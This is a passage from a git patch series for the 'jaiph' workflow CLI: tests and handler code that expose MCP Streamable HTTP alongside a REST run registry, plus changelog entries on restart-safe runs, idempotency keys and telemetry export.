assert.deepEqual( + body.result.tools.map((t: { name: string }) => t.name), + ["build"], + ); +}); + +test("POST /mcp tools/call runs the workflow and registers it in the same run registry", async () => { + const seen: Array<{ workflow: string; runId: string }> = []; + const h = makeHandler({ + callTool: async (spec, _args, runId) => { + seen.push({ workflow: spec.workflow, runId }); + return { text: "built ok", isError: false, exitStatus: 0, runDir: "/runs/x" }; + }, + }); + const res = await h.handleRequest( + mcpPost({ jsonrpc: "2.0", id: 3, method: "tools/call", params: { name: "build", arguments: { target: "app" } } }), + ); + const body = bodyJson(res); + assert.equal(body.id, 3); + assert.equal(body.result.isError, false); + assert.equal(body.result.content[0].text, "built ok"); + // The MCP call is now a first-class run: it appears in the REST registry, + // succeeded, and reused the injected executor exactly once. + assert.equal(seen.length, 1); + assert.equal(seen[0].workflow, "build"); + const listed = bodyJson(await h.handleRequest(req("GET", "/v1/runs"))); + assert.equal(listed.total, 1); + assert.equal(listed.runs[0].run_id, seen[0].runId); + assert.equal(listed.runs[0].status, "succeeded"); +}); + +test("POST /mcp tools/call failure comes back as isError, not a protocol error", async () => { + const h = makeHandler({ + callTool: async () => ({ text: "boom detail", isError: true, exitStatus: 1 }), + }); + const res = await h.handleRequest( + mcpPost({ jsonrpc: "2.0", id: 4, method: "tools/call", params: { name: "build", arguments: { target: "x" } } }), + ); + const body = bodyJson(res); + assert.equal(body.result.isError, true); + assert.equal(body.result.content[0].text, "boom detail"); + assert.equal(bodyJson(await h.handleRequest(req("GET", "/v1/runs"))).runs[0].status, "failed"); +}); + +test("POST /mcp tools/call obeys the shared concurrency cap (MCP analogue of 429)", async () => { + // The first call never resolves so it holds the only slot; the second must be + // refused as an isError result naming the cap, and must NOT start a run. + let started = 0; + const h = makeHandler({ + maxConcurrent: 1, + callTool: () => { + started += 1; + return new Promise(() => {}); + }, + }); + void h.handleRequest( + mcpPost({ jsonrpc: "2.0", id: 5, method: "tools/call", params: { name: "build", arguments: { target: "a" } } }), + ); + await flush(); + const res = await h.handleRequest( + mcpPost({ jsonrpc: "2.0", id: 6, method: "tools/call", params: { name: "build", arguments: { target: "b" } } }), + ); + const body = bodyJson(res); + assert.equal(body.result.isError, true); + assert.match(body.result.content[0].text, /too many concurrent runs/); + assert.equal(started, 1, "the capped call never reached the executor"); +}); + +test("POST /mcp notifications settle as 202 with no body", async () => { + const res = await makeHandler().handleRequest(mcpPost({ jsonrpc: "2.0", method: "notifications/initialized" })); + assert.equal(res.status, 202); + assert.equal(res.body, ""); +}); + +test("POST /mcp requires the bearer token when one is configured", async () => { + const h = makeHandler({ token: "secret" }); + const none = await h.handleRequest(mcpPost({ jsonrpc: "2.0", id: 7, method: "tools/list" })); + assert.equal(none.status, 401); + assert.equal(bodyJson(none).error.code, "E_UNAUTHORIZED"); + const ok = await h.handleRequest( + mcpPost({ jsonrpc: "2.0", id: 7, method: "tools/list" }, { authorization: "Bearer secret" }), + ); + assert.equal(ok.status, 200); + assert.equal(bodyJson(ok).result.tools[0].name, "build"); +}); + +test("GET /mcp is 405 (no server-initiated stream offered)", async () => { + const res = await makeHandler().handleRequest(req("GET", "/mcp")); + assert.equal(res.status, 405); + assert.equal(res.headers.allow, "POST"); +}); + +test("POST /mcp tools/call streams progress as SSE when the client accepts it", async () => { + const h = makeHandler({ + tools: [NOARG_TOOL], + callTool: async (_spec, _args, _runId, ctx) => { + ctx.onStep?.("workflow", "ping"); + ctx.onStep?.("script", "ping_sh"); + return { text: "pong", isError: false, exitStatus: 0 }; + }, + }); + const res = await h.handleRequest( + mcpPost( + { jsonrpc: "2.0", id: 8, method: "tools/call", params: { name: "ping", arguments: {}, _meta: { progressToken: "p" } } }, + { accept: "text/event-stream" }, + ), + ); + assert.equal(res.status, 200); + assert.match(res.headers["content-type"], /text\/event-stream/); + assert.ok(res.stream, "SSE response drives a stream"); + const target = fakeTarget(); + await res.stream!(target); + const messages = target.chunks + .filter((c) => c.startsWith("data: ")) + .map((c) => JSON.parse(c.slice("data: ".length))); + const progress = messages.filter((m) => m.method === "notifications/progress"); + assert.equal(progress.length, 2, "each step boundary emits one progress notification"); + assert.equal(progress[1].params.progress, 2); + const result = messages.find((m) => m.id === 8); + assert.equal(result.result.content[0].text, "pong"); +}); + +test("POST /mcp cancel (notifications/cancelled) marks the shared run cancelled, not failed", async () => { + // MCP cancel must share the REST cancel contract: the run registry records + // `cancelled`, not a generic `failed` from the killed child's nonzero exit. + let runPromise!: Promise; + const h = makeHandler({ + tools: [NOARG_TOOL], + callTool: (_spec, _args, _runId, ctx) => { + runPromise = new Promise((resolve) => { + ctx.onCancelHandle?.(() => { + resolve({ text: "terminated by signal SIGINT", isError: true, exitStatus: 1, signal: "SIGINT" }); + }); + }); + return runPromise; + }, + }); + const call = h.handleRequest( + mcpPost({ jsonrpc: "2.0", id: 9, method: "tools/call", params: { name: "ping", arguments: {} } }), + ); + await flush(); + const listed = bodyJson(await h.handleRequest(req("GET", "/v1/runs?limit=1"))); + assert.equal(listed.runs[0].status, "running"); + const runId = listed.runs[0].run_id; + + const notify = await h.handleRequest( + mcpPost({ jsonrpc: "2.0", method: "notifications/cancelled", params: { requestId: 9 } }), + ); + assert.equal(notify.status, 202); + await runPromise.catch(() => {}); + const settled = await call; + // Cancelled requests produce no JSON-RPC response. + assert.equal(settled.status, 202); + assert.equal(settled.body, ""); + assert.equal(bodyJson(await h.handleRequest(req("GET", `/v1/runs/${runId}`))).status, "cancelled"); +}); + +test("POST /v1/runs/{id}/cancel cancels an MCP-initiated run in the shared registry", async () => { + let childKilled = false; + let runPromise!: Promise; + const h = makeHandler({ + tools: [NOARG_TOOL], + callTool: (_spec, _args, _runId, ctx) => { + runPromise = new Promise((resolve) => { + ctx.onCancelHandle?.(() => { + childKilled = true; + resolve({ text: "terminated by signal SIGINT", isError: true, exitStatus: 1, signal: "SIGINT" }); + }); + }); + return runPromise; + }, + }); + const call = h.handleRequest( + mcpPost({ jsonrpc: "2.0", id: 10, method: "tools/call", params: { name: "ping", arguments: {} } }), + ); + await flush(); + const runId = bodyJson(await h.handleRequest(req("GET", "/v1/runs?limit=1"))).runs[0].run_id; + + const cancel = await h.handleRequest(req("POST", `/v1/runs/${runId}/cancel`)); + assert.equal(cancel.status, 202); + assert.equal(childKilled, true, "REST cancel tears down the MCP call's child"); + await runPromise.catch(() => {}); + await call; + assert.equal(bodyJson(await h.handleRequest(req("GET", `/v1/runs/${runId}`))).status, "cancelled"); +}); + +test("POST /mcp SSE hangup cancels the run through the shared cancel path", async () => { + let runPromise!: Promise; + const h = makeHandler({ + tools: [NOARG_TOOL], + callTool: (_spec, _args, _runId, ctx) => { + runPromise = new Promise((resolve) => { + ctx.onCancelHandle?.(() => { + resolve({ text: "terminated by signal SIGINT", isError: true, exitStatus: 1, signal: "SIGINT" }); + }); + }); + return runPromise; + }, + }); + const res = await h.handleRequest( + mcpPost( + { jsonrpc: "2.0", id: 11, method: "tools/call", params: { name: "ping", arguments: {} } }, + { accept: "text/event-stream" }, + ), + ); + assert.ok(res.stream); + const target = abortableTarget(); + const streaming = res.stream!(target); + await flush(); + const runId = bodyJson(await h.handleRequest(req("GET", "/v1/runs?limit=1"))).runs[0].run_id; + target.abort(); + await runPromise.catch(() => {}); + await streaming; + assert.equal(bodyJson(await h.handleRequest(req("GET", `/v1/runs/${runId}`))).status, "cancelled"); +}); diff --git a/src/cli/serve/handler.ts b/src/cli/serve/handler.ts index a99c9fa0..597b84c4 100644 --- a/src/cli/serve/handler.ts +++ b/src/cli/serve/handler.ts @@ -2,6 +2,7 @@ import { randomUUID, timingSafeEqual } from "node:crypto"; import { statSync } from "node:fs"; import { basename, join } from "node:path"; import type { McpToolSpec } from "../mcp/tools"; +import { McpServer, type McpCallContext } from "../mcp/server"; import type { WorkflowCallResult, WorkflowCallContext } from "../exec/call"; import { buildOpenApi } from "./openapi"; import { DOCS_HTML } from "./docs"; @@ -115,6 +116,8 @@ export interface ServeHandlerOptions { retainAgeSec?: number; /** Current-time source (ISO string), injectable for tests. */ now: () => string; + /** Diagnostic line (stderr) for the embedded MCP endpoint. Defaults to a no-op. */ + log?: (line: string) => void; /** Run-id source, injectable for tests. Defaults to `randomUUID`. */ newRunId?: () => string; /** @@ -157,10 +160,101 @@ export class ServeHandler { /** In-memory run registry, keyed by run id. Public so tests can inspect it. */ readonly runs = new Map(); private orderCounter = 0; + /** + * MCP protocol engine for the `POST /mcp` Streamable HTTP endpoint. Reuses the + * exact stdio state machine (`jaiph mcp`); its `tools/call` funnels into the + * same {@link startRun} the REST endpoint uses, so an MCP call registers in + * the same run registry, counts against the same concurrency cap, and obeys + * the same cancellation rules. Per-request outbound routing is handled by + * `handleLine(line, write)`. + */ + private readonly mcp: McpServer; constructor(opts: ServeHandlerOptions) { this.opts = opts; this.newRunId = opts.newRunId ?? randomUUID; + this.mcp = new McpServer({ + serverVersion: opts.version, + getTools: opts.getTools, + callTool: (spec, args, ctx) => this.callToolAsRun(spec, args, ctx), + // Server-initiated broadcasts have no HTTP sink without a GET stream (not + // offered); every real reply is routed per-request via handleLine(write). + write: () => {}, + log: opts.log ?? ((): void => {}), + }); + } + + /** + * Bridge an MCP `tools/call` into the shared run path. Registers a run + * (respecting the concurrency cap), forwards MCP progress/cancel hooks, waits + * for it to finish, then reports the finalized record as an MCP result. At + * capacity the call comes back as a normal `isError` result — the MCP analogue + * of the REST `429`, not a protocol error. + */ + private async callToolAsRun( + spec: McpToolSpec, + args: Record, + ctx: McpCallContext, + ): Promise<{ text: string; isError: boolean }> { + const started = this.startRun(spec, args, { onStep: ctx.onStep, onCancelHandle: ctx.onCancelHandle }); + if ("atCapacity" in started) { + return { text: `too many concurrent runs (max ${this.opts.maxConcurrent})`, isError: true }; + } + await started.done; + const r = started.record; + return { text: r.result_text ?? "", isError: r.status !== "succeeded" }; + } + + /** + * Register and launch one run through the injected executor, shared by the + * REST create-run endpoint and the MCP `tools/call` bridge. Enforces the + * concurrency cap up front (returns `{ atCapacity: true }` so each caller maps + * its own error shape), records the run so it is inspectable and cancellable, + * and finalizes it when the executor settles. `done` never rejects. + */ + private startRun( + spec: McpToolSpec, + args: Record, + extra?: WorkflowCallContext, + ): { record: RunRecord; done: Promise } | { atCapacity: true } { + if (this.inFlight() >= this.opts.maxConcurrent) return { atCapacity: true }; + const runId = this.newRunId(); + const record: RunRecord = { + run_id: runId, + workflow: spec.workflow, + status: "running", + started_at: this.opts.now(), + ended_at: null, + exit_status: null, + signal: null, + result_text: null, + run_dir: null, + cancelled: false, + order: this.orderCounter++, + }; + this.runs.set(runId, record); + const ctx: WorkflowCallContext = { + onStep: extra?.onStep, + onCancelHandle: (cancelFn) => { + // Wrap so every cancel path (REST /v1/.../cancel, MCP + // notifications/cancelled, SSE hangup, cancelAll) marks the shared + // record before killing the child — otherwise an MCP-only cancel + // would finalize as `failed` instead of `cancelled`. + const cancel = (): void => { + record.cancelled = true; + cancelFn(); + }; + record.cancel = cancel; + // A cancel may arrive before the child spawns; honor it now. + if (record.cancelled) cancel(); + extra?.onCancelHandle?.(cancel); + }, + }; + const done = this.opts + .callTool(spec, args, runId, ctx) + .then((result) => this.finalize(record, result)) + .catch((err) => this.finalizeError(record, err)); + return { record, done }; } /** Number of runs still executing (drives the concurrency cap + healthz). */ @@ -204,7 +298,15 @@ export class ServeHandler { return { status: 200, headers: { "content-type": "text/html; charset=utf-8" }, body: DOCS_HTML }; } - // Everything under /v1 is bearer-protected (when a token is configured). + // The MCP Streamable HTTP endpoint and everything under /v1 are the two + // bearer-protected surfaces (when a token is configured); the same auth + // boundary guards both transports. + if (path === "/mcp") { + if (!this.authorized(req)) { + return this.error(401, "E_UNAUTHORIZED", "missing or invalid bearer token"); + } + return this.handleMcp(req); + } if (path === "/v1" || path.startsWith("/v1/")) { if (!this.authorized(req)) { return this.error(401, "E_UNAUTHORIZED", "missing or invalid bearer token"); @@ -308,40 +410,14 @@ export class ServeHandler { return this.error(400, "E_BAD_ARGS", `unexpected argument(s) for "${spec.name}": ${unexpected.join(", ")}`); } - if (this.inFlight() >= this.opts.maxConcurrent) { - return this.error(429, "E_TOO_MANY_RUNS", `too many concurrent runs (max ${this.opts.maxConcurrent})`); - } - const args: Record = {}; for (const p of spec.params) args[p] = raw[p] as string; - const runId = this.newRunId(); - const record: RunRecord = { - run_id: runId, - workflow: spec.workflow, - status: "running", - started_at: this.opts.now(), - ended_at: null, - exit_status: null, - signal: null, - result_text: null, - run_dir: null, - cancelled: false, - order: this.orderCounter++, - }; - this.runs.set(runId, record); - - const ctx: WorkflowCallContext = { - onCancelHandle: (cancelFn) => { - record.cancel = cancelFn; - // A cancel may arrive before the child spawns; honor it now. - if (record.cancelled) cancelFn(); - }, - }; - const done = this.opts - .callTool(spec, args, runId, ctx) - .then((result) => this.finalize(record, result)) - .catch((err) => this.finalizeError(record, err)); + const started = this.startRun(spec, args); + if ("atCapacity" in started) { + return this.error(429, "E_TOO_MANY_RUNS", `too many concurrent runs (max ${this.opts.maxConcurrent})`); + } + const { record, done } = started; const wait = req.query.get("wait") === "true"; if (wait) { @@ -350,11 +426,76 @@ export class ServeHandler { } return { status: 202, - headers: { "content-type": "application/json", location: `/v1/runs/${runId}` }, + headers: { "content-type": "application/json", location: `/v1/runs/${record.run_id}` }, body: JSON.stringify(this.toRunObject(record)), }; } + /** + * `POST /mcp`: MCP Streamable HTTP. One JSON-RPC message per request, handled + * by the shared {@link mcp} engine — so `tools/call` runs the exact same + * workflow generation, sandbox posture, run registry, concurrency cap, and + * cancellation as the REST API. + * + * Response shape: a message carrying no reply (a notification such as + * `notifications/cancelled`, or a `notifications/initialized`) settles as + * `202 Accepted` with no body. A request gets its reply either as a single + * `application/json` object or, when the client offers `text/event-stream` + * for a `tools/call`, as an SSE stream carrying `notifications/progress` and + * then the result. A GET/DELETE gets `405` (no server-initiated stream is + * offered here), matching the transport spec. + */ + private async handleMcp(req: ServeRequest): Promise { + if (req.method !== "POST") { + return { + status: 405, + headers: { allow: "POST", "content-type": "application/json" }, + body: JSON.stringify({ + jsonrpc: "2.0", + id: null, + error: { code: -32000, message: "use POST for MCP Streamable HTTP" }, + }), + }; + } + if (req.bodyTooLarge) { + return this.error(413, "E_BODY_TOO_LARGE", `request body exceeds ${MAX_BODY_BYTES} bytes`); + } + + const parsed = safeJsonObject(req.body); + const requestId = parsed && "id" in parsed && "method" in parsed ? parsed.id : undefined; + const method = parsed && typeof parsed.method === "string" ? parsed.method : undefined; + const wantsSse = (req.headers["accept"] ?? "").includes("text/event-stream"); + + // A tools/call may emit progress; stream it as SSE when the client offers + // that content type. The client hanging up cancels the run through the same + // MCP cancel path (kills the child + Docker container). + if (requestId !== undefined && method === "tools/call" && wantsSse) { + return { + status: 200, + headers: { "content-type": "text/event-stream", "cache-control": "no-cache", connection: "keep-alive" }, + body: "", + stream: (target) => { + target.onAbort(() => { + void this.mcp.handleLine( + JSON.stringify({ jsonrpc: "2.0", method: "notifications/cancelled", params: { requestId } }), + ); + }); + return this.mcp.handleLine(req.body, (m) => { + if (!target.aborted) target.write(`data: ${JSON.stringify(m)}\n\n`); + }); + }, + }; + } + + // JSON mode: buffer this message's outbound traffic and return the reply. + const collected: Record[] = []; + await this.mcp.handleLine(req.body, (m) => collected.push(m)); + // A pure notification produces nothing to return. + if (collected.length === 0) return { status: 202, headers: {}, body: "" }; + const reply = collected.find((m) => "id" in m) ?? collected[collected.length - 1]; + return { status: 200, headers: { "content-type": "application/json" }, body: JSON.stringify(reply) }; + } + /** * `GET /v1/runs`: newest-first page of runs. `limit` defaults to * {@link DEFAULT_RUNS_PAGE} and is clamped to `[1, MAX_RUNS_PAGE]`; `offset` @@ -582,6 +723,17 @@ export class ServeHandler { } } +/** Parse a JSON object, returning null for non-objects or malformed input. */ +function safeJsonObject(body: string): Record | null { + try { + const parsed: unknown = JSON.parse(body); + if (typeof parsed !== "object" || parsed === null || Array.isArray(parsed)) return null; + return parsed as Record; + } catch { + return null; + } +} + function isJsonContentType(contentType: string | undefined): boolean { return typeof contentType === "string" && contentType.split(";")[0].trim().toLowerCase() === "application/json"; } From f4c12b037643f978637528e6f9e71be2e0cfa817 Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Mon, 27 Jul 2026 18:23:17 +0200 Subject: [PATCH 16/24] Feat: make serve runs restart-safe and retry-safe HTTP run discovery was an in-memory map, so restarting jaiph serve made completed run ids unreachable, lost in-flight state, and let client retries spawn duplicate expensive workflows. Persist each run's public record as run.json beside its journal (atomic temp-file + rename at finalize) and reconstruct terminal runs on startup via loadPersistedRuns, so list/get/events/artifacts keep working across a restart. A run with a journal but no run.json was running when the process died; it is reconciled from its WORKFLOW_START line into a new explicit terminal status "interrupted" and never reported as permanently running. POST /v1/workflows/{name}/runs now honors an Idempotency-Key scoped to the workflow plus authenticated principal: the key is reserved synchronously before any await, a repeat with identical args returns the original run, and a reused key with different args is 409 E_IDEMPOTENCY_CONFLICT and spawns nothing. The idempotency index is rebuilt from reconstructed records at startup and evicted with the run, so it survives restarts and cannot outgrow the registry. jaiph serve is documented as single-replica by design (per-process registry, concurrency cap, and idempotency index); k8s.yaml pins replicas: 1 with a Recreate strategy. Covered by run-store and handler unit tests plus an integration test that survives a real process restart. Co-Authored-By: Claude Opus 4.8 (1M context) --- CHANGELOG.md | 4 +- QUEUE.md | 18 --- docs/cli.md | 8 +- docs/deploy.md | 1 + docs/deploy/k8s.yaml | 10 ++ docs/serve.md | 27 ++++ integration/serve-restart.test.ts | 186 ++++++++++++++++++++++++++ src/cli/commands/serve.ts | 19 +++ src/cli/serve/handler.test.ts | 127 ++++++++++++++++++ src/cli/serve/handler.ts | 122 ++++++++++++++++- src/cli/serve/openapi.ts | 15 ++- src/cli/serve/run-store.test.ts | 137 +++++++++++++++++++ src/cli/serve/run-store.ts | 215 ++++++++++++++++++++++++++++++ 13 files changed, 860 insertions(+), 29 deletions(-) create mode 100644 integration/serve-restart.test.ts create mode 100644 src/cli/serve/run-store.test.ts create mode 100644 src/cli/serve/run-store.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 2796a56d..a2b49778 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,7 +2,7 @@ ## Summary -- **Serve workflows over HTTP (and MCP over the same port):** run `jaiph serve ./tools.jh` to expose a file's workflows as an HTTP API with a generated OpenAPI 3.1 document and a browser Swagger UI at `/docs`, **and** as MCP Streamable HTTP at `POST /mcp` — one process, one workflow generation, one bearer auth boundary, and one run registry for REST and MCP clients alike. A CI job, a Kubernetes deployment, a browser, or a remote MCP agent can invoke the same tested workflows and inspect their runs; `jaiph mcp` remains the stdio sibling for co-located clients. Bearer-token auth, a concurrency cap, per-run output caps, bounded run retention, and the same durable `.jaiph/runs/` records as `jaiph run` are built in, so a long-lived service stays within a bounded memory footprint. +- **Serve workflows over HTTP (and MCP over the same port):** run `jaiph serve ./tools.jh` to expose a file's workflows as an HTTP API with a generated OpenAPI 3.1 document and a browser Swagger UI at `/docs`, **and** as MCP Streamable HTTP at `POST /mcp` — one process, one workflow generation, one bearer auth boundary, and one run registry for REST and MCP clients alike. A CI job, a Kubernetes deployment, a browser, or a remote MCP agent can invoke the same tested workflows and inspect their runs; `jaiph mcp` remains the stdio sibling for co-located clients. Bearer-token auth, a concurrency cap, per-run output caps, bounded run retention, and the same durable `.jaiph/runs/` records as `jaiph run` are built in, so a long-lived service stays within a bounded memory footprint. Runs are restart-safe and retry-safe: each run's public record is persisted beside its journal and reconstructed on startup (so list/get/events/artifacts keep working across a restart, and a run caught mid-flight by a process death is reconciled to an explicit `interrupted` state, never left reported as permanently running), and an optional `Idempotency-Key` on run creation makes client retries return the original run instead of spawning a duplicate. It is a **single-replica** service by design — the run registry, concurrency cap, and idempotency index are per-process — so scale it vertically, not by adding replicas. - **Export traces to an OTLP collector:** every run mode now exports one OpenTelemetry span tree (workflow → steps → prompts) to any OTLP/HTTP collector — a local `otel-collector`, Grafana Tempo, Honeycomb, Datadog — enabled by the standard `OTEL_EXPORTER_OTLP_ENDPOINT`. A standard `jaiph run`, a standalone `jaiph run --raw`, and workflows invoked through `jaiph mcp` / `jaiph serve` are all covered (a Docker-sandboxed run is still exported exactly once by the host). Export is host-side and end-of-run (it reads the run's already credential-redacted `run_summary.jsonl`), adds no runtime dependencies, and is never load-bearing: the OTLP and Sentry exporters run concurrently under one bounded flush budget (`JAIPH_TELEMETRY_FLUSH_MS`, default 10 s), and on long-lived `jaiph serve` / `jaiph mcp` processes delivery is detached so an unreachable backend can never delay a terminal result or hold an execution slot — an erroring collector produces one (bounded) stderr warning and leaves the run's exit code, output, and journal untouched. @@ -12,6 +12,8 @@ ## All changes +- **Fix — make `jaiph serve` runs restart-safe and retry-safe, and define the supported topology:** run artifacts were durable but HTTP run *discovery* was only an in-memory map, so restarting the process made every completed run id unreachable (`GET /v1/runs/{id}`, `/events`, `/artifacts` → `404`), lost all in-flight state, and — because a create had no idempotency contract — let a client retry after a blip or a restart spawn a **second** expensive workflow. `jaiph serve` was a single-process developer server, not yet a reliable service. Four changes close the gap. **Durable public run record.** A run's public object is now persisted beside its journal as `run.json` (new `src/cli/serve/run-store.ts`, `persistRunRecord`), written atomically (temp file + `rename`) at finalize — best-effort and a no-op when the run has no discovered `run_dir`, so a read-only or vanished run dir never breaks the HTTP response. **Reconstruction on startup.** `loadPersistedRuns` scans `JAIPH_RUNS_DIR` (the same date/time layout `findRunDir` uses) and seeds the registry before the first request (`ServeHandlerOptions.initialRuns`): a run with a `run.json` reloads verbatim (a `schema_version` guard ignores an incompatible file rather than mis-parsing it), so list/get/events/artifacts and idempotency keys all keep working for runs that completed before the restart. **Interrupted-run reconciliation.** A run with a journal but no `run.json` was `running` when the process died; on startup it is reconciled from its `WORKFLOW_START` line into a new explicit terminal status **`interrupted`** (`RunStatus`, `isTerminal`, and the OpenAPI `status` enum all gain it) — its real outcome is unknown, so it is neither `succeeded` nor `failed`, but it is **never reported as permanently `running`** — and the reconciliation is persisted so it is stable across further restarts. **Idempotent creation.** `POST /v1/workflows/{name}/runs` now honors an `Idempotency-Key` request header, scoped to the workflow **and** the authenticated principal (a composite key; `principalOf` derives an opaque 16-hex hash of the presented bearer token, or `anonymous` when no token is configured — never the raw token, which would otherwise land in `run.json`). The key is reserved synchronously in an in-memory index **before any await**, so a concurrent retry cannot race to a duplicate spawn: a repeat with the same key and identical arguments returns the **original** run (`200`, nothing spawned); a reused key with **different** arguments is `409 E_IDEMPOTENCY_CONFLICT` and, again, spawns nothing. Argument comparison is a SHA-256 of the run's canonical (key-sorted) args (`hashArgs`), so reordered-but-equal arguments match. The composite key, principal, and args hash persist in `run.json`, and the index is rebuilt from reconstructed records at startup, so idempotency survives a restart too; a new `evict()` drops the index entry when its run leaves the retained set (so the index can't outgrow the registry, and a fresh request with a forgotten key starts a new run). **Topology stated explicitly.** `jaiph serve` is documented as **single-replica**: the run registry, concurrency cap, and idempotency index are per-process with no shared store, so multi-replica operation behind one load balancer is unsupported — scale vertically. `docs/deploy/k8s.yaml` pins `replicas: 1` with a `Recreate` strategy (so a rollout hands the runs volume to exactly one successor pod) and an inline comment explaining why. Tests: `src/cli/serve/run-store.test.ts` (order-independent `hashArgs`; persist→load round-trips a terminal run with its idempotency key; a journal-only run — even one whose journal reached `WORKFLOW_END` — reconciles to `interrupted` and is persisted; oldest-first ordering; an absent runs root yields an empty registry and persist is a no-op without a run dir), new cases in `src/cli/serve/handler.test.ts` (same key+args returns the original and never re-spawns; same key + different args is `409` and never spawns; distinct keys/workflows/principals are independent; an evicted original spawns fresh rather than returning a dangling id; `initialRuns` seed the registry so a restarted server serves prior terminal runs and their keys; `persistRun` fires with the terminal record at finalize), and `integration/serve-restart.test.ts` (recovery **and** idempotency survive a real process restart end-to-end). Docs: a new "Restart-safe and retry-safe" section (durable records, interrupted reconciliation, idempotency, with `curl` examples) and a "Deployment topology" section in [Serve workflows over HTTP](docs/serve.md), the `Idempotency-Key`/`interrupted`/`409 E_IDEMPOTENCY_CONFLICT` and disk-reconstruction notes in [CLI](docs/cli.md#jaiph-serve), and a single-replica-by-design bullet in [Deploy the runtime image standalone](docs/deploy.md) plus the pinned `replicas: 1` + `Recreate` manifest. No new `JAIPH_*` env vars. + - **Feat — expose REST and MCP Streamable HTTP from one `jaiph serve` process:** `jaiph serve` was HTTP-only while `jaiph mcp` was stdio-only, so a company deployment that needed both protocols required two processes (and had no Kubernetes-addressable MCP endpoint). `ServeHandler` (`src/cli/serve/handler.ts`) now embeds the same `McpServer` protocol machine used by `jaiph mcp` and serves it at **`POST /mcp`** beside the existing REST/OpenAPI API — one tool generation, one run registry, one concurrency cap, one sandbox/env posture, one hot-reload generation tracker, and the same `JAIPH_SERVE_TOKEN` bearer boundary on both `/v1/*` and `/mcp`. `McpServer.handleLine(line, write?)` (`src/cli/mcp/server.ts`) gains an optional per-call write sink routed through `AsyncLocalStorage`, so concurrent HTTP POSTs never cross-talk while the stdio transport keeps using the constructor `write`. An MCP `tools/call` funnels through the shared `startRun` path (also used by `POST /v1/workflows/{name}/runs`), so the call appears in `GET /v1/runs`, streams at `GET /v1/runs/{id}/events`, and cancels via `POST /v1/runs/{id}/cancel` or `notifications/cancelled` / SSE hangup — and every cancel path marks the shared run `cancelled` (not a generic `failed` from the killed child's exit). Response shapes follow the Streamable HTTP transport: JSON-RPC replies as `application/json`, notifications as `202` with no body, `tools/call` with `Accept: text/event-stream` as SSE progress + result, and `GET`/`DELETE /mcp` as `405`. Reverse-proxy requirements (disable buffering on streaming routes, raise read/idle timeouts, terminate TLS, forward `Authorization`) are documented. Tests: `src/cli/mcp/server.test.ts` (per-call sink routing + concurrent progress isolation), `src/cli/serve/handler.test.ts` (initialize/list/call, shared registry + concurrency cap, auth, SSE progress, MCP cancel → `cancelled`, REST cancel of an MCP run, SSE hangup cancel), `e2e/tests/147_serve_http_api.sh` (same-process REST+MCP), `e2e/tests/151_serve_transports_docker.sh` (both transports from outside a published container), and `e2e/tests/150_k8s_deploy.sh` (both transports from outside the Kind pod, same bearer). Docs: [Serve workflows over HTTP](docs/serve.md) §8 + reverse-proxy section, [CLI — `jaiph serve`](docs/cli.md#jaiph-serve), [Serve workflows as MCP tools](docs/mcp.md) network-pointer, [Deploy](docs/deploy.md) same-Service-port note. - **Fix — give every run mode complete, bounded telemetry behavior:** the telemetry hook covered a standard `jaiph run`, HTTP `jaiph serve` calls, and `jaiph mcp` calls, but a standalone `jaiph run --raw` bypassed it (the docs claimed every run was covered) and the two exporters were **awaited sequentially**, so two unreachable backends could hold a completed run — and, on a server, an occupied execution-concurrency slot — for up to two full timeouts. Four gaps closed. **`--raw` now exports:** `runWorkflowRaw` (`src/cli/commands/run.ts`) fires the shared `exportRunTelemetry` hook after the child exits, gated by the new exported `shouldExportRawTelemetry(env)` so a user-invoked standalone raw run exports exactly like a normal run, while the **inner** raw process of a host-orchestrated Docker run skips it — the outer host process is the single exporter for that run, so a container run is still exported exactly once (no double export). The gate reads the new `DOCKER_SANDBOX_ENV` marker (`JAIPH_DOCKER_SANDBOX`), which `buildDockerArgs` (`src/runtime/docker.ts`) now always sets as `-e …=1` on the container; it is covered by the `JAIPH_DOCKER_*` `--env` reservation and excluded from the forwarding allowlist, so it is never user-settable and never auto-forwarded. **Concurrent under one flush budget:** the shared hook now runs the OTLP-trace and Sentry exporters **concurrently** (`runExporters` in `src/cli/telemetry/otlp.ts`, `Promise.all`) under one total flush budget instead of awaiting them back-to-back, so the worst-case post-run flush is one budget, not two. The budget is configurable via the new `JAIPH_TELEMETRY_FLUSH_MS` (default `10000`; a non-positive or unparseable value falls back to the default — `resolveFlushBudgetMs`) and is threaded into both exporters: `postOtlp` and `reportRunFailureToSentry` now take a `timeoutMs` argument instead of each hard-coding a private 10 s cap. **Detached delivery on long-lived processes:** the shared call layer (`src/cli/exec/call.ts`, covering every MCP `tools/call` and HTTP `jaiph serve` invocation) now calls the new fire-and-forget `deliverRunTelemetryDetached` instead of awaiting `exportRunTelemetry`, so the caller marks the run terminal and releases its execution-concurrency slot **before** best-effort delivery — an unreachable backend can no longer delay a terminal result or hold a slot. Detached failures are tracked in bounded, cumulative counters (`telemetryDeliveryMetrics()` → `{otlpFailures, sentryFailures, warningsEmitted, warningsSuppressed}`) and warnings are capped at `MAX_DELIVERY_WARNINGS` (100) stderr lines before being counted silently, so a server pointed at a dead endpoint cannot grow stderr without bound. The one-shot callers (`jaiph run` completion and standalone `jaiph run --raw`), which must stay alive for the flush, still **await** `exportRunTelemetry`. Each exporter now returns an `ExportOutcome` (`sent` / `skipped` / `failed`) and takes an injectable `warn` sink so the detached path can meter failures. **Telemetry stays operator-side:** `OTEL_*` / `SENTRY_*` are host-only config and must never enter a workflow sandbox — the fail-closed prompt-env allowlist (`scrubPromptEnv`) already drops them and the Docker forwarding allowlist already excludes them; both are now pinned by tests (including the OTLP auth header in `OTEL_EXPORTER_OTLP_HEADERS`), and an explicit `--env` remains the only documented way in. Export failures still never change a workflow's output or exit status. Tests: `src/cli/commands/run.test.ts` (standalone raw exports, docker-inner raw skipped), `src/cli/telemetry/otlp.test.ts` (`resolveFlushBudgetMs` default/override/junk-fallback; two hanging exporters against a black-hole server finish in ~one budget, not two; `deliverRunTelemetryDetached` records both failures in bounded metrics and never throws), `src/runtime/docker.test.ts` (exactly one `JAIPH_DOCKER_SANDBOX=1` marker on the container; `OTEL_*`/`SENTRY_*` dropped by default and forwarded only via explicit `--env`), `src/runtime/kernel/env-allowlist.test.ts` (`scrubPromptEnv` never leaks `OTEL_*`/`SENTRY_*` — including the OTLP auth header — to a prompt backend), and expanded `integration/otlp-export.test.ts` / `integration/sentry-export.test.ts` (standard run, standalone raw run, MCP, and HTTP each produce 